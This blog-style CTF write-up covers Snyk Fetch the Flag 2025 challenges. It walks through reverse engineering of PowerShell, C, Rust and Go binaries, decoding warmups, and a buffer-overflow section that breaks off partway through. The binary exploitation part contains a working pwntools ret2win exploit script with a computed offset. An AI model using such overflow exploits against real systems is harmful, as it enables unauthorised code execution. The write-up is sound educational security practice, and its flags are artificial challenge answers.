Snyk Fetch the Flag 2025 CTF Writeups

Rusty
20 min readMar 1, 2025

--

Hey everyone. These are the writeups of the challenges I solved in the CTF. Let’s dive in.

Reverse Engineering

Let’s start off with my favorite domain.

A Powerful Shell

After opening the PowerShell script, we find this:

# Check if being debugged
if ($PSDebugContext) {
Write-Output "No debugging allowed!"
exit
}

# Embedded and encoded layer 2
$encoded = "JGRlY29kZWQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdabXhoWjNzME5XUXlNMk14WmpZM09EbGlZV1JqTVRJek5EVTJOemc1TURFeU16UTFObjA9JykNCiRmbGFnID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGRlY29kZWQpDQoNCiMgT25seSBzaG93IGZsYWcgaWYgc3BlY2lmaWMgZW52aXJvbm1lbnQgdmFyaWFibGUgaXMgc2V0DQppZiAoJGVudjpNQUdJQ19LRVkgLWVxICdTdXAzclMzY3IzdCEnKSB7DQogICAgV3JpdGUtT3V0cHV0ICRmbGFnDQp9IGVsc2Ugew0KICAgIFdyaXRlLU91dHB1dCAiTmljZSB0cnkhIEJ1dCB5b3UgbmVlZCB0aGUgbWFnaWMga2V5ISINCn0="
$bytes = [Convert]::FromBase64String($encoded)
$decodedScript = [System.Text.Encoding]::UTF8.GetString($bytes)

# Execute with specific arguments
$argumentList = "-NoProfile", "-NonInteractive", "-Command", $decodedScript

# Start new PowerShell process
$startInfo = New-Object System.Diagnostics.ProcessStartInfo
$startInfo.FileName = "powershell.exe"
$startInfo.Arguments = $argumentList -join ' '
$startInfo.RedirectStandardOutput = $true
$startInfo.RedirectStandardError = $true
$startInfo.UseShellExecute = $false
$startInfo.CreateNoWindow = $true

$process = New-Object System.Diagnostics.Process
$process.StartInfo = $startInfo
$process.Start() | Out-Null
$output = $process.StandardOutput.ReadToEnd()
$process.WaitForExit()

Write-Output $output

We can see a Base64 encoded string at the beginning. Let’s decode it.

Interesting. We can see another Base64 encoded string. It’s being decoded and assigned to the $flag variable. Let’s decode it.

We get the flag.

Flag: flag{45d23c1f6789badc1234567890123456}

String Me Along

As the name suggests, let’s run strings and see what we get.

We can already see the flag in pieces. We can also see that there’s a password prompt and a string unlock_me_123 that looks like a password. Let’s run the binary and try it out.

Nice! We got the flag. But what if we didn’t find the password like this? We can also use ltrace to find if our input is being compared to something using strcmp.

As you can see, my input ‘hello’ is being compared to unlock_me_123, which is the password.

Flag: flag{850de1a29ab50b6e5ad958334b68d5bf}

An Offset Amongst Friends

Running strings on the binary shows us that it’s another password-matching challenge and there’s a strcmp function in action.

Let’s try ltrace to see if we can see our input being compared to something.

Hmm. It’s being compared to unlock_me_123, which is, coincidentally, the password of another challenge. Let’s try it and see what happens.

We’re given the flag.

Flag: flag{c54315482531c11a76aeaa828e43807c}

Either Or

Running strings on the binary shows that it takes an input and does some kind of encryption before comparing it to another string. Running the binary, I gave some inputs to see what happened and got ‘Wrong’.

Then I tried ltrace to see what’s happening. Our input is transformed, then compared to a random string.

What if we input that same random string?

We get back the password. Now give the password to get the flag.

Flag: flag{f074d38932164b278a508df11b5eff89}

Math For Me

We’re given a binary where we need to input a number which is then compared to another number. Upon decompiling in Ghidra, we see a few functions.

main


undefined8 main(void)

{
int does_number_match;
long in_FS_OFFSET;
undefined4 user_answer;
int i;
undefined _f;
undefined _l;
undefined _a;
undefined _g;
undefined _{;
undefined _};
undefined local_22;
long stack_cookie;

stack_cookie = *(long *)(in_FS_OFFSET + 0x28);
puts("Welcome to the Math Challenge!");
printf("Find the special number: ");
__isoc99_scanf(&DAT_00102049,&user_answer);
_f = 0x66;
_l = 0x6c;
_a = 0x61;
_g = 0x67;
_{ = 0x7b;
does_number_match = check_number(user_answer);
if (does_number_match == 0) {
puts("That\'s not the special number. Try again!");
}
else {
for (i = 5; i < 37; i = i + 1) {
compute_flag_char(&_f,i,user_answer);
}
_} = 0x7d;
local_22 = 0;
printf("Congratulations! Here\'s your flag: %s\n",&_f);
}
if (stack_cookie != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}

check_number


bool check_number(int param_1)

{
return (param_1 * 5 + 4) / 2 == 52;
}

compute_flag_char


void compute_flag_char(long param_1,uint param_2,int param_3)

{
uint uVar1;
long in_FS_OFFSET;
int local_a8 [4];
undefined4 local_98;
undefined4 local_94;
undefined4 local_90;
undefined4 local_8c;
undefined4 local_88;
undefined4 local_84;
undefined4 local_80;
undefined4 local_7c;
undefined4 local_78;
undefined4 local_74;
undefined4 local_70;
undefined4 local_6c;
undefined4 local_68;
undefined4 local_64;
undefined4 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined7 local_30;
undefined uStack_29;
undefined7 uStack_28;
undefined8 local_21;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_58 = 0x3438666532353535;
local_50 = 0x6562396261636532;
local_48 = 0x3636333535316231;
local_40 = 0x3535353535383335;
local_38 = 0x3234386665323535;
local_30 = 0x65623962616365;
uStack_29 = 0x31;
uStack_28 = 0x36363335353162;
local_21 = 0x35353535383335;
local_a8[0] = 1;
local_a8[1] = 3;
local_a8[2] = 0xfffffffe;
local_a8[3] = 4;
local_98 = 0xffffffff;
local_94 = 2;
local_90 = 0xfffffffd;
local_8c = 1;
local_88 = 4;
local_84 = 0xfffffffe;
local_80 = 3;
local_7c = 0xffffffff;
local_78 = 2;
local_74 = 0xfffffffc;
local_70 = 1;
local_6c = 0xfffffffe;
local_68 = 3;
local_64 = 0xffffffff;
local_60 = 2;
uVar1 = local_a8[(int)param_2 % 10] + (int)(param_3 * param_2) % 5;
printf("%d: %d\n",(ulong)param_2,(ulong)uVar1);
*(char *)(param_1 + (int)param_2) = *(char *)((long)&local_58 + (long)(int)param_2) + (char)uVar1;
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

All we need to do is reverse the calculation to get the correct number.

Input 20 and you’ll get the flag.

Flag: flag{h556cdd`=ag.c53664:45569368391gc}

letter2nums

This challenge uses some encoding to turn the original flag into a list of numbers. Let’s have a look at the functions.

main

undefined8 main(void)

{
long in_FS_OFFSET;
undefined flag_buffer [48];
undefined encrypted_flag [264];
long stack_cookie;

stack_cookie = *(long *)(in_FS_OFFSET + 0x28);
readFlag("flag.txt",flag_buffer);
c("This is a long and convoluded way to try and hide the flag:",flag_buffer);
writeFlag("encflag.txt",encrypted_flag);
if (stack_cookie != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}

readFlag

undefined8 readFlag(char *param_1,char *param_2)

{
FILE *__stream;

__stream = fopen(param_1,"r");
fgets(param_2,0x27,__stream);
return 0;
}

writeFlag

undefined8 writeFlag(char *param_1,long param_2)

{
short sVar1;
int iVar2;
FILE *__stream;
int local_18;

__stream = fopen(param_1,"w");
iVar2 = sl(param_2,0);
if (__stream == (FILE *)0x0) {
puts("Error opening file.");
}
else {
for (local_18 = 0; local_18 < iVar2; local_18 = local_18 + 2) {
sVar1 = encodeChars((int)*(char *)(param_2 + local_18),
(int)*(char *)(param_2 + (long)local_18 + 1));
fprintf(__stream,"%d\n",(ulong)(uint)(int)sVar1);
}
fclose(__stream);
}
return 0;
}

sl

ulong sl(char *param_1,uint param_2)

{
ulong uVar1;

if (*param_1 == '\0') {
uVar1 = (ulong)param_2;
}
else {
uVar1 = sl(param_1 + 1,param_2 + 1);
}
return uVar1;
}

c

int c(void *param_1,void *param_2)

{
long in_RDX;
char *local_28;
char *local_20;
int i;

i = 0;
local_20 = (char *)param_1;
while (local_28 = (char *)param_2, *local_20 != '\0') {
*(char *)(in_RDX + i) = *local_20;
local_20 = local_20 + 1;
i = i + 1;
}
while (*local_28 != '\0') {
*(char *)(in_RDX + i) = *local_28;
local_28 = local_28 + 1;
i = i + 1;
}
*(undefined *)(in_RDX + i) = 0;
return (int)(undefined *)(in_RDX + i);
}

The main Function:

  • Reads a flag from flag.txt into flag_buffer (max 39 bytes, as fgets takes 0x27 = 39).
  • Calls c to concatenate a prefix string (“This is a long and convoluted way to try and hide the flag:”) with the flag into encrypted_flag.
  • Writes the encoded result to encflag.txt via writeFlag.
  • encrypted_flag is 264 bytes, but only the relevant portion (prefix + flag) is processed.

The readFlag function:

  • Opens flag.txt and reads up to 39 bytes into flag_buffer. This is the original flag.

The c function:

  • Concatenates two strings: the prefix (param_1) and the flag (param_2) into a destination buffer (in_RDX, which is encrypted_flag in main).
  • The result is a string like: “This is a long and convoluted way to try and hide the flag:[flag_here]”.

The writeFlag function:

  • Opens encflag.txt for writing.
  • Computes the string length of encrypted_flag using sl().
  • Processes the string two characters at a time, calling encodeChars() on each pair, and writes the resulting numbers to the file (one per line).

The sl function:

  • Recursively calculates the length of the input string (encrypted_flag).
  • Returns the number of characters, which determines how many pairs writeFlag processes.

The encodeChars function:

  • Takes two characters (param_1 and param_2) and combines them into a 16-bit integer:
  • param_1 << 8: Shifts the first character’s ASCII value 8 bits left (high byte).
  • (short)param_2: Takes the second character’s ASCII value (low byte).
  • CONCAT22(param_1 >> 7, (short)param_2) seems to be a decompiler artifact; the actual operation is ((int)param_1 << 8) | (int)param_2 (bitwise OR).
  • Returns an unsigned integer (e.g., for ‘a’ and ‘b’, it’s (97 << 8) | 98 = 24930).

Now let’s look at the content of encflag.txt

21608
26995
8297
29472
24864
27759
28263
8289
28260
8291
28526
30319
27765
25701
25632
30561
31008
29807
8308
29305
8289
28260
8296
26980
25888
29800
25888
26220
24935
14950
27745
26491
13154
12341
12390
13665
14129
13925
13617
25400
14693
14643
12851
25185
26163
24887
25143
13154
32000

We can see that,

encodeChars() combines two characters into a number:

  • High byte = (number >> 8) & 0xFF
  • Low byte = number & 0xFF
  • Each number is decoded into two ASCII characters.

With that in mind, let’s create a script to solve the challenge.

nums = [21608, 26995, 8297, 29472, 24864, 27759, 28263, 8289, 28260, 8291, 28526, 30319, 27765, 25701, 25632, 30561, 31008, 29807, 8308, 29305, 8289, 28260, 8296, 26980, 25888, 29800, 25888, 26220, 24935, 14950, 27745, 26491, 13154, 12341, 12390, 13665, 14129, 13925, 13617, 25400, 14693, 14643, 12851, 25185, 26163, 24887, 25143, 13154, 32000]
result = ""
for num in nums:
char1 = chr((num >> 8) & 0xFF)
char2 = chr(num & 0xFF)
result += char1 + char2
print(result)

Flag: flag{3b050f5a716e51c89e9323baf3a7b73b}

Crabshell

Running file on it, we see:

file crabshell

crabshell: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=0fa5d24955942f65e4b52780480a5fc0292c7e15,
for GNU/Linux 3.2.0, not stripped

I also ran strings on it, only to find out it’s a Rust binary. Yikes! Let’s run the binary to see what’s happening.

We’re expected to input a 16-byte valid key. Let’s move on to the code.

void __rustcall crabshell::main(void)

{
char *pcVar1;
undefined auVar2 [16];
long local_f0;
undefined8 local_e8;
undefined8 local_e0;
undefined **local_d8;
undefined8 uStack_d0;
undefined *local_c8;
undefined auStack_c0 [8];
undefined8 uStack_b8;
undefined4 uStack_b0;
undefined4 uStack_ac;
undefined4 local_a8;
undefined4 uStack_a4;
undefined4 uStack_a0;
undefined4 uStack_9c;
undefined4 local_98;
undefined4 uStack_94;
undefined4 uStack_90;
undefined4 uStack_8c;
undefined8 local_88;
undefined local_78 [16];
undefined local_68 [16];
undefined local_58 [8];
undefined4 uStack_50;
undefined4 uStack_4c;
undefined local_48 [8];
undefined4 uStack_40;
undefined4 uStack_3c;
undefined4 local_38;
undefined4 uStack_34;
undefined4 uStack_30;
undefined4 uStack_2c;
undefined8 local_28;
undefined local_20 [16];

local_78._8_8_ = local_78._0_8_;
local_d8 = &PTR_DAT_00157db8;
uStack_d0 = 1;
local_c8 = (undefined *)0x8;
_auStack_c0 = ZEXT816(0);
std::io::stdio::_print(&local_d8);
local_f0 = 0;
local_e8 = 1;
local_e0 = 0;
/* try { // try from 001079d6 to 00107a0d has its CatchHandler @ 00107c47 */
local_78._0_8_ = std::io::stdio::stdin();
auVar2 = std::io::stdio::Stdin::read_line(local_78,&local_f0);
if ((auVar2 & (undefined [16])0x1) == (undefined [16])0x0) {
auVar2 = core::str::_<impl_str>::trim_matches(local_e8,local_e0);
pcVar1 = auVar2._0_8_;
if (auVar2._8_8_ == 0x10) {
if ((((*pcVar1 == '1') && (*(long *)(pcVar1 + 1) == 0x1f221731232d1f26)) &&
(*(int *)(pcVar1 + 9) == 0x64681332)) &&
(((pcVar1[0xd] == 'd' && (pcVar1[0xe] == 'h')) && (pcVar1[0xf] == 'h')))) {
_local_48 = ZEXT816(0);
_local_58 = ZEXT816(0);
local_68 = ZEXT816(0);
local_78 = ZEXT816(0);
local_28 = 0;
local_38 = 0x67452301;
uStack_34 = 0xefcdab89;
uStack_30 = 0x98badcfe;
uStack_2c = 0x10325476;
/* try { // try from 00107aa8 to 00107ac4 has its CatchHandler @ 00107c2e */
md5::consume(local_78,&DAT_0014940b,0x27);
local_88 = local_28;
local_98 = local_38;
uStack_94 = uStack_34;
uStack_90 = uStack_30;
uStack_8c = uStack_2c;
local_a8 = local_48._0_4_;
uStack_a4 = local_48._4_4_;
uStack_a0 = uStack_40;
uStack_9c = uStack_3c;
uStack_b8._0_4_ = local_58._0_4_;
uStack_b8._4_4_ = local_58._4_4_;
uStack_b0 = uStack_50;
uStack_ac = uStack_4c;
local_c8 = local_68._0_8_;
auStack_c0 = local_68._8_8_;
local_d8 = local_78._0_8_;
uStack_d0 = local_78._8_8_;
/* try { // try from 00107b13 to 00107b76 has its CatchHandler @ 00107c30 */
md5::Context::compute(local_20,&local_d8);
local_78._8_8_ = _<>::fmt;
local_78._0_8_ = local_20;
local_d8 = &PTR_DAT_00157df0;
uStack_d0 = 2;
_auStack_c0 = ZEXT816(1);
local_c8 = local_78;
std::io::stdio::_print(&local_d8);
}
else {
local_d8 = &PTR_DAT_00157de0;
uStack_d0 = 1;
local_c8 = &DAT_00000008;
_auStack_c0 = ZEXT816(0);
/* try { // try from 00107bd2 to 00107bdc has its CatchHandler @ 00107c30 */
std::io::stdio::_print(&local_d8);
}
}
else {
local_d8 = &PTR_DAT_00157e10;
uStack_d0 = 1;
local_c8 = &DAT_00000008;
_auStack_c0 = ZEXT816(0);
/* try { // try from 00107b9f to 00107ba9 has its CatchHandler @ 00107c47 */
std::io::stdio::_print(&local_d8);
}
if (local_f0 != 0) {
__rust_dealloc(local_e8,local_f0,1);
}
return;
}
/* try { // try from 00107c07 to 00107c2b has its CatchHandler @ 00107c32 */
local_d8 = auVar2._8_8_;
core::result::unwrap_failed
(&DAT_001493b0,0x2b,&local_d8,&PTR_drop_in_place<std_io_error_Error>_00157d98,
&PTR_DAT_00157dc8);
do {
invalidInstructionException();
} while( true );
}

A lot is happening. But you can ignore most things here. A lot of the code goes into just translating from Rust to C. The main section of interest is the key validation logic part.

if ((((*pcVar1 == '1') && (*(long *)(pcVar1 + 1) == 0x1f221731232d1f26)) &&
(*(int *)(pcVar1 + 9) == 0x64681332)) &&
(((pcVar1[0xd] == 'd' && (pcVar1[0xe] == 'h')) && (pcVar1[0xf] == 'h'))))
  1. It checks if the input is exactly 16 bytes
  2. It then performs a specific check on those 16 bytes:
  • The first byte must be ‘1’
  • Bytes 1–8 must match 0x1f221731232d1f26 (stored as a long)
  • Bytes 9–12 must match 0x64681332 (stored as an int)
  • Bytes 13–15 must be ‘dhh’

Let’s decode what the correct 16-byte key should be:

  • First byte: ‘1’
  • Bytes 1–8: This is stored as a long value (0x1f221731232d1f26), which we need to convert to individual bytes considering endianness
  • Bytes 9–12: This is stored as an int (0x64681332)
  • Bytes 13–15: ‘dhh’

Looking at the architecture and the hex values, we need to handle endianness. For a little-endian system, we need to reverse the byte order within these values.

For bytes 1–8 (0x1f221731232d1f26):

  • In little-endian: 0x26, 0x1f, 0x2d, 0x23, 0x31, 0x17, 0x22, 0x1f

For bytes 9–12 (0x64681332):

  • In little-endian: 0x32, 0x13, 0x68, 0x64

So our 16-byte key should be:

  1. ‘1’
  2. 0x26, 0x1f, 0x2d, 0x23, 0x31, 0x17, 0x22, 0x1f
  3. 0x32, 0x13, 0x68, 0x64
  4. ‘d’, ‘h’, ‘h’

Let’s convert this to a string/character representation using Python

key = bytearray()
key.append(ord('1'))

# Add bytes 1-8 (little-endian representation of 0x1f221731232d1f26)
for b in [0x26, 0x1f, 0x2d, 0x23, 0x31, 0x17, 0x22, 0x1f]:
key.append(b)

# Add bytes 9-12 (little-endian representation of 0x64681332)
for b in [0x32, 0x13, 0x68, 0x64]:
key.append(b)

# Add bytes 13-15
key.extend(b'dhh')

# Write to file
with open('key.bin', 'wb') as f:
f.write(key)

print("Key generated (16 bytes)")

We save the input to a file. Now we can redirect that to the binary.

cat key.bin | ./crabshell

Flag: flag{cc811d4486decc3379dd13688a46603f}

It’s Go Time

This was the least solved challenge in the RE section. I still attempted it and managed to solve it. From the name, we can correctly guess that it’s a Go binary. Big yikes!

Running the binary, we can see a similar situation to the previous challenge.

Let’s check the source code. Being a Go binary, it was difficult to find the functions. There were 3 that interested me.

main.main

void main.main(void)

{
undefined8 extraout_RDX;
long unaff_R14;
undefined in_XMM15 [16];
undefined local_208 [232];
undefined local_120 [24];
undefined *local_108;
undefined **local_100;
undefined local_f8 [16];
undefined8 local_e8;
undefined1 *local_e0;
undefined8 local_d8;
undefined local_c8 [24];
undefined8 local_b0;
undefined8 local_a8;
undefined local_a0 [88];
undefined *local_48;
undefined **local_40;
undefined8 local_30;

while (local_a0._8_8_ = in_XMM15._8_8_, local_208 <= *(undefined **)(unaff_R14 + 0x10)) {
runtime.morestack_noctxt.abi0();
}
runtime.GOMAXPROCS();
local_48 = &DAT_004b9ce0;
local_40 = &PTR_DAT_004fc480;
fmt.Fprint(1,1,extraout_RDX,&local_48);
local_30 = os.Stdin;
FUN_0046fbf0(local_c8);
runtime.makeslice();
local_f8._0_8_ = FUN_0046fbf0(local_120);
local_f8._8_8_ = 0x1000;
local_e8 = 0x1000;
local_e0 = go:itab.*os.File,io.Reader;
local_d8 = local_30;
local_b0 = 0xffffffffffffffff;
local_a8 = 0xffffffffffffffff;
local_a0._0_8_ = local_f8._0_8_;
FUN_0046ff5a(local_a0 + 8);
bufio.(*Reader).ReadString();
strings.TrimSpace();
local_108 = &DAT_004b9ce0;
local_100 = &PTR_DAT_004fc490;
fmt.Fprintln(1,1,&PTR_DAT_004fc490,&local_108);
return;
}

main.main.gowrap1


void main.main.gowrap1(void)

{
long *plVar1;
long unaff_R14;
undefined auStack_20 [24];

while (&stack0x00000000 <= *(undefined **)(unaff_R14 + 0x10)) {
runtime.morestack.abi0();
}
plVar1 = *(long **)(unaff_R14 + 0x20);
if ((plVar1 != (long *)0x0) && ((undefined *)*plVar1 == &stack0x00000008)) {
*plVar1 = (long)auStack_20;
}
main.validateByte();
return;
}

main.validateByte

void main.validateByte(void)

{
char in_AL;
ulong in_RCX;
ulong unaff_RBX;
undefined *puVar1;
undefined *unaff_RBP;
undefined *puVar2;
long unaff_R14;

do {
puVar1 = (undefined *)register0x00000020;
puVar2 = unaff_RBP;
if (*(undefined **)(unaff_R14 + 0x10) < register0x00000020) {
puVar2 = (undefined *)((long)register0x00000020 + -8);
*(undefined **)((long)register0x00000020 + -8) = unaff_RBP;
puVar1 = (undefined *)((long)register0x00000020 + -0x30);
if (unaff_RBX < _DAT_00592b08) {
*(ulong *)((long)register0x00000020 + 0x10) = unaff_RBX;
*(ulong *)((long)register0x00000020 + 0x18) = in_RCX;
*(undefined *)((long)register0x00000020 + -0x19) = ~main.expectedBytes[unaff_RBX];
*(byte *)((long)register0x00000020 + -0x1a) = in_AL + (char)unaff_RBX ^ 0x42;
*(undefined8 *)((long)register0x00000020 + -0x38) = 0x49960e;
time.Sleep();
*(undefined8 *)((long)register0x00000020 + -0x18) =
*(undefined8 *)((long)register0x00000020 + 0x10);
*(bool *)((long)register0x00000020 + -0x10) =
*(char *)((long)register0x00000020 + -0x19) ==
*(char *)((long)register0x00000020 + -0x1a);
*(undefined8 *)((long)register0x00000020 + -0x38) = 0x499638;
runtime.chansend1();
return;
}
*(undefined8 *)((long)register0x00000020 + -0x38) = 0x499649;
in_RCX = _DAT_00592b08;
in_AL = runtime.panicIndex();
}
puVar1[8] = in_AL;
*(ulong *)(puVar1 + 0x10) = unaff_RBX;
*(ulong *)(puVar1 + 0x18) = in_RCX;
*(undefined8 *)(puVar1 + -8) = 0x49965d;
runtime.morestack_noctxt.abi0();
in_AL = puVar1[8];
unaff_RBX = *(ulong *)(puVar1 + 0x10);
in_RCX = *(ulong *)(puVar1 + 0x18);
register0x00000020 = (BADSPACEBASE *)puVar1;
unaff_RBP = puVar2;
} while( true );
}

A lot is happening here. From the validateByte function, we can see:

  • It compares each input byte with an expected byte
  • There’s an operation: input_byte + index ^ 0x42 which is compared with ~main.expectedBytes[index]

To solve this, we need to:

  1. Find the expectedBytes array in the binary
  2. Reverse the validation equation to get the required input bytes

Now, I’m still fairly new to dynamic analysis. So this was a bit difficult for me. But after a bit of thinking, I managed to determine the value of expectedBytes

In Ghidra, pressing on a section of the decompiled code shows you which part of the disassembly it corresponds to. This helped me determine it’s memory location.

We have the memory address. Now we can use pwndbg or another debugger to see the content in that memory location.

pwndbg its-go-time
> x/16bx 0x0058b310

With that, we can now easily calculate the input bytes by reversing the XOR operation. This is a quick one-liner solution

printf '\x38\x29\x6e\x26\x20\x2c\x75\x6f\x6f\x1d\x70\x1a\x17\x25\x20\x62' | ./its-go-time

Or if you’re feeling fancy, you can automate the process in Python.

#!/usr/bin/env python3

import subprocess
import os

# The 16-byte array from main.expectedBytes at 0x58b310
expected_bytes = [
0x85, 0x97, 0xcd, 0x94, 0x99, 0x8c, 0xc6, 0xcb,
0xca, 0x9b, 0xc7, 0x98, 0x9e, 0x8f, 0x93, 0xcc
]

def calculate_key(expected):
"""Calculate the valid 16-byte key from expected_bytes."""
key = []
for i in range(16):
# Formula: input[i] = (~expected[i] ^ 0x42) - i
# ~ is bitwise NOT, ^ is XOR, all in 8-bit arithmetic
not_expected = ~expected[i] & 0xff # NOT and mask to 8 bits
xor_result = not_expected ^ 0x42 # XOR with 0x42
key_byte = (xor_result - i) & 0xff # Subtract i, mask to 8 bits
key.append(key_byte)
return bytes(key)

def test_key(binary_path, key):
"""Test the key by running the binary and capturing output."""
if not os.path.exists(binary_path):
print(f"Binary '{binary_path}' not found. Please provide the correct path.")
return None
try:
# Run the binary with the key as input, append newline since it reads until \n
process = subprocess.run(
[binary_path],
input=key + b'\n',
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
check=True
)
return process.stdout.decode().strip()
except subprocess.CalledProcessError as e:
print(f"Error running binary: {e}")
return None

def main():
# Calculate the key
key = calculate_key(expected_bytes)

# Print the key in hex and as bytes
print("Calculated Key (hex):", ' '.join(f'{b:02x}' for b in key))
print("Calculated Key (bytes):", repr(key))

# Verify it matches the known solution
expected_key = bytes([
0x38, 0x29, 0x6e, 0x26, 0x20, 0x2c, 0x75, 0x6f,
0x6f, 0x1d, 0x70, 0x1a, 0x17, 0x25, 0x20, 0x62
])
assert key == expected_key, "Computed key does not match expected key!"
print("Key matches the known solution!")

# Optionally test with the binary (uncomment and set path)
binary_path = "./its-go-time" # Adjust this path as needed
output = test_key(binary_path, key)
if output:
print("Program Output:", output)
if "flag{" in output:
print("Flag found:", output)

if __name__ == "__main__":
main()

Flag: flag{78b229bed60e12514c94e85126b43ec4}

Warmups

Zero Ex Six One

We’re given a hex string:

0x070x0d0x000x060x1a0x020x540x510x050x590x530x020x510x000x530x540x070x520x040x570x550x550x050x510x560x510x530x030x550x500x050x030x050x510x590x540x000x1c

From the name and description of the challenge, we can assume that we have to XOR the given bytes with 0x61.

cipher = [0x07, 0x0d, 0x00, 0x06, 0x1a, 0x02, 0x54, 0x51, 0x05, 0x59, 0x53, 0x02, 0x51, 0x00, 0x53, 0x54, 0x07, 0x52, 0x04, 0x57, 0x55, 0x55, 0x05, 0x51, 0x56, 0x51, 0x53, 0x03, 0x55, 0x50, 0x05, 0x03, 0x05, 0x51, 0x59, 0x54, 0x00, 0x1c]
key = 0x61
plain = [c ^ key for c in cipher]
print(''.join(chr(b) for b in plain))

Flag: flag{c50d82c0a25f3e644d0702b41dbd085a}

Screaming Crying Throwing up

We’re given a weird looking cipher text.

a̮ăaa̋{áa̲aȧa̮ȧaa̮áa̲a̧ȧȧa̮ȧaa̲a̧aa̮ȧa̲aáa̮a̲aa̲a̮aaa̧}

One thing’s for sure, it looks like the flag format. Searching for ‘xdcd cipher’ on Google, I found about scream cipher. After searching for a bit, I found a good online decoder.

Flag: flag{edabfbafedcbbfbadcafbdaefdadfaac}

Science 100

After connecting to the server, it started pouring some text. It looked like some kind of terminal.

Welcome to Robco Industries (TM) Termlink

>SET TERMINAL/INQUIRE

RIT-V300

>SET FILE/PROTECTION=OWNER:RWED ACCOUNTS.F
>SET HALT RESTART/MAINT
0xF4F0 [)/:}!|=?/:] 0xF5F0 ;((}=[^)]))/
0xF4FC |,!PATIENT<} 0xF5FC <*<?&]<!/[#(
0xF508 **FORTUNE@#) 0xF608 @|+#^)#;-!=<
0xF514 (|&+%(|+*$)- 0xF614 ^GRADUAL<(#&
0xF520 .[${+$<!(:[] 0xF620 !!{}CERTAIN>
0xF52C ?&,(%<:,*=[? 0xF62C (-^#.{.#<{)>
0xF538 <{;<:-|](<-{ 0xF638 }@%=|,^:((%<
0xF544 #}_}#$#]+=|+ 0xF644 *>)$#%)^!>|+
0xF550 /:=,<!([}.+# 0xF650 /^.::@,./:^=
0xF55C &@.%>!.^>>>! 0xF65C <$]|,?]]{.>)
0xF568 !${+}FREEDOM 0xF668 @<(-[^&)&/+>
0xF574 [&_/]+#^,%/] 0xF674 +{|:#INITIAL
0xF580 ^;-APOLOGY^> 0xF680 {{=#%,#=),[,
0xF58C :}[{;^&#.]>< 0xF68C {:]]#REACTOR
0xF598 ^||(@*//<].) 0xF698 [(_*]]?*!(:)
0xF5A4 @]{.]<$#.<#; 0xF6A4 .]!!/]<||>|-
[!] ATTEMPTS REMAINING: 4
>

After a bit of Googling, I learned that this has to do something with Fallout 3. I found some wikis and a GitHub repo about this program. But none of that helped.

Then I tried to make something out of the hex and random text it was displaying. In the mess, there is some readable text. I tried a few.

Entering SURVIVOR granted access. After that, it started throwing some more text.

Robco Industries Termlink (TM) Mail Protocol Initiated                 

User: j.hammond@robcoindustries.org

INBOX
1) h.hacks@robcoindustries.org SUBJ: new CTF game idea
2) flag.txt
3) Paella recipe

Select an option (1, 2, or 3):

Selecting 2 gave the flag.

Flag: flag{89e575e7272b07a1d33e41e3647b3826}

Binary Exploitation

Echo

Let’s do some initial file checking.

file echo

echo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=ba71fb7825c88b04e13afe6dcc11ba9113394f12,
for GNU/Linux 3.2.0, not stripped

Then checksec

pwn checksec echo

Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No

Nice, there’s no protection. Running the binary, it takes an input and prints the same thing. I tried to overflow the buffer and found a segmentation fault. This means it has a buffer overflow.

Let’s have a look at the source code.

main


undefined8 main(EVP_PKEY_CTX *param_1)

{
char local_88 [128];

init(param_1);
puts("Give me some text and I\'ll echo it back to you: ");
gets(local_88);
puts(local_88);
return 0;
}

win


void win(void)

{
int iVar1;
FILE *__stream;
char local_11;

__stream = fopen("flag.txt","r");
if (__stream != (FILE *)0x0) goto LAB_0040126a;
puts("Please create \'flag.txt\' in this directory with your own debugging flag.");
FUN_00401120(0);
do {
putchar((int)local_11);
LAB_0040126a:
iVar1 = fgetc(__stream);
local_11 = (char)iVar1;
} while (local_11 != -1);
fclose(__stream);
return;
}

Okay, so we have a Ret2Win challenge where we need to overflow the buffer and then jump to the win() function in order to get the flag.

First, let’s calculate the offset. I used pwndbg for that.

pwndbg echo
cyclic 200 # since buffer is 128
run
(paste the cyclic pattern and hit Enter)

Notice the RSP register’s address.

Copy the pattern ‘raaaaaaa’ and run:

cyclic -l raaaaaaa

This will show the offset, which is 136. Next, we need the win() function’s address. You can find it manually using pwndbg. Just open the binary in pwndbg and run:

info functions

You can also let pwntools find it for you. With everything in place, let’s overflow the buffer and get the flag.

from pwn import *

# Offset and target address
offset = 136
target_address = elf.symbols['win']
# you can also get it manually
# target_address = 0x401216

# Craft the payload
payload = b'A' * offset + p64(target_address)
print(payload)

# If it's a local binary, use the following:
# conn = process('./echo')

# Connect to the remote service (if needed)
conn = remote('challenge.ctf.games', 31084)

# Send the payload
conn.sendline(payload)

# Interact with the shell (if successful)
conn.interactive()

Flag: flag{4f4293237e37d06d733772a087299f17}

Additional Information Needed

Let’s do the static checks quickly.

file challenge.elf

challenge.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2,
BuildID[sha1]=9833fc45a97733715b43eee3beed3f38264ccf79,
for GNU/Linux 3.2.0, not stripped

Then the protections.

pwn checksec challenge.elf

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

No stack canary means we can overflow the buffer and do other stuff. Let’s see what happens if we run the binary.

